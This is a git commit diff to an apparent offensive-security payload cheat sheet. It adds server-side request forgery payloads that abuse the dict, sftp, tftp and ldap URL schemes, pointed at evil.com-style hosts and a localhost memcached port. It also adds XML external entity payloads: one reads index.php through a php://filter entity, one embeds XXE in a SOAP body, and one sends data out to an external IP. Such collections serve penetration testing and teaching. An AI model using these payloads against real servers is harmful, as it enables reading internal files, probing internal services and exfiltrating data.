SSRF URL Scheme + XXE Soap

This commit is contained in:
Swissky 2017-08-07 21:42:14 +02:00
parent 91e3c6906c
commit 9adb81e6d8
3 changed files with 43 additions and 0 deletions

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@ -71,7 +71,33 @@ requests + browsers : 2.2.2.2
urllib : 3.3.3.3
```
## SSRF via URL Scheme
Dict://
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
```
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
```
Sftp://
```
ssrf.php?url=sftp://evil.com:11111/
```
Tftp://
```
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
```
Ldap://
```
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
```
## Thanks to
* [Hackerone - How To: Server-Side Request Forgery (SSRF)](https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF)
* [Awesome URL abuse for SSRF by @orange_8361 #BHUSA](https://twitter.com/albinowax/status/890725759861403648)
* [How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! Orange Tsai](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html)
* [SSRF Tips - xl7dev](http://blog.safebuff.com/2016/07/03/SSRF-Tips/)
* [SSRF in https://imgur.com/vidgif/url](https://hackerone.com/reports/115748)

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@ -0,0 +1,10 @@
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
<contact>
<name>Jean &xxe; Dupont</name>
<phone>00 11 22 33 44</phone>
<adress>42 rue du CTF</adress>
<zipcode>75000</zipcode>
<city>Paris</city>
</contact>
</contacts>

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@ -96,6 +96,13 @@ File stored on http://92.222.81.2/dtd.xml
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://92.222.81.2/dtd.xml?%data;'>">
```
XXE Inside SOAP
```
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
```
## Thanks to
* https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
* http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html
* https://gist.github.com/staaldraad/01415b990939494879b4